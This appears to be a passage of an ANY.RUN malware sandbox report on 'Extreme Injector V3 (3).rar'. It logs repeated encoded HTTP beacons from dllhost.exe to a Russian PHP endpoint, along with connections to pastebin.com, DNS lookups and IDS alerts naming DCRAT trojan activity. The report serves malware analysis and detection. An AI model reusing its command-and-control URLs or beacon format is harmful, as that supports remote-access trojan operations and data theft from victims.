aNhlW5ljMRZlQxEVa3lWS6FUeaVHbHN2dWdEZUJ0QOhXQDJGbSJjYOJUaOd2aIJGcxcVWHJ0QOJzZulkNJlmY2x2RkdHbtNmaOhlWFZlRVRkSDxUavh0UIJkeOVXSElUQCNlVR5URJdXQE5kMwMlTwJ0UL5kUGtEbKNjYEJ0ULNFaDJGbS5mYKpUaPlWVXJGa1UlVR50aJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiI2MDO4IWOlVTN4MzYjdDMhJTO4ATZ1IGM1I2MzUWNiZTZzQGMihzYxIiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&19b9eb1db0327134a8e884f70d514d82=0VfiAjRaxmUuNGaSNzYnRzVh5mVIJWUCNFTnBTRVd2ZE1kNNpXT2MGRJBTSE1Ue4MkT2VkeXJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIyITN4IWM1ITOhdTZwYGN5QGNmhjZhRjZ2UzN0UzMzIWOiZGNkhTY1IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIiRjZ4EjMwMGM1Y2NlVTOwAjNyQTNyImNyM2NzETNkhTNjNmNihzNzIiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&3ee7ee8311472d599cf57029fe23d4d9=0VfiIiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIyITN4IWM1ITOhdTZwYGN5QGNmhjZhRjZ2UzN0UzMzIWOiZGNkhTY1IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W&3ee7ee8311472d599cf57029fe23d4d9=0VfiIiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZisHL9JSOx4WS6FzRJlXUqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2dpl0LJl2TpFERPtmVEp1aCRVT3lEVORzaUplaGdkWzk1RNxGaUpFaGRVW6NmeNJzZqplMRR1T4FlMOdXRql0cJlHUp9maJBTSy4EbKJTWsZkeZFTTq50djRkW1UkeZlGaqp1aSpmTt5EVNpXVt1UMFpnTyUERP1Ga65ENJNETpFkaJZTSplFMZpXWzUUbZxmVHp1dRdlWtZ0VNpGaE5kMZ1mT0UUbZhmSq10aspWT5l0VONTRH9EeV1WWpNnbPlWRHRGaSVEZ0YVbJNXVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJlnRtNWdrlXTvFUeNdlQpNmdSNTWsBXbipkQTpFdW12YwgGWSl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS51EMnpmT1dGRMRzZU1Ee0MUTxkUaPlWTyI2cKNETpVVRSl2bqlUNKhEZ1Z1MipmSDxUaVJzY6Z1RTl2bqlUd5cVYuZVbjl2dplUdsdVWOJ0UihmQDRWeW5mWyVzVZlnWrlkNJNVZwwmMZl2dplUerpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIkNjZ1cDZmdTM4MDMxYjM3E2MwQGNyQWM3EGMhBDOhBjYiljNkVTM0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W&3ee7ee8311472d599cf57029fe23d4d9=0VfiIiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZisHL9JSOx4WS6FzRJRTSqlkNJN0T0UlaZ1mSE5keJJTWsZkeOlmTq10aS1mTo50RahXWUp1akRlWrpVbZpmWUp1djpmWwk0Ral2dpl0LJl2TpFERPtmVEp1aCRVT3lEVORzaUplaGdkWzk1RNxGaUpFaGRVW6NmeNJzZqplMRR1T4FlMOdXRql0cJlHUp9maJBTSy4EbKJTWsZkeZFTTq50djRkW1UkeZlGaqp1aSpmTt5EVNpXVt1UMFpnTyUERP1Ga65ENJNETpFkaJZTSplFMZpXWzUUbZxmVHp1dRdlWtZ0VNpGaE5kMZ1mT0UUbZhmSq10aspWT5l0VONTRH9EeV1WWpNnbPlWRHRGaSVEZ0YVbJNXVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJlnRtNWdrlXTvFUeNdlQpNmdSNTWsBXbipkQTpFdW12YwgGWSl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS51EMnpmT1dGRMRzZU1Ee0MUTxkUaPlWTyI2cKNETpVVRSl2bqlUNKhEZ1Z1MipmSDxUaVJzY6Z1RTl2bqlUd5cVYuZVbjl2dplUdsdVWOJ0UihmQDRWeW5mWyVzVZlnWrlkNJNVZwwmMZl2dplUerpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIkNjZ1cDZmdTM4MDMxYjM3E2MwQGNyQWM3EGMhBDOhBjYiljNkVTM0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
2648
dllhost.exe
104.20.68.143:443
pastebin.com
CLOUDFLARENET
—
unknown
2648
dllhost.exe
141.8.192.103:80
a0900442.xsph.ru
Sprinthost.ru LLC
RU
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.68.143
  • 104.20.67.143
  • 172.67.34.170
shared
a0900442.xsph.ru
  • 141.8.192.103
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
2648
dllhost.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Extreme Injector V3 (3).rar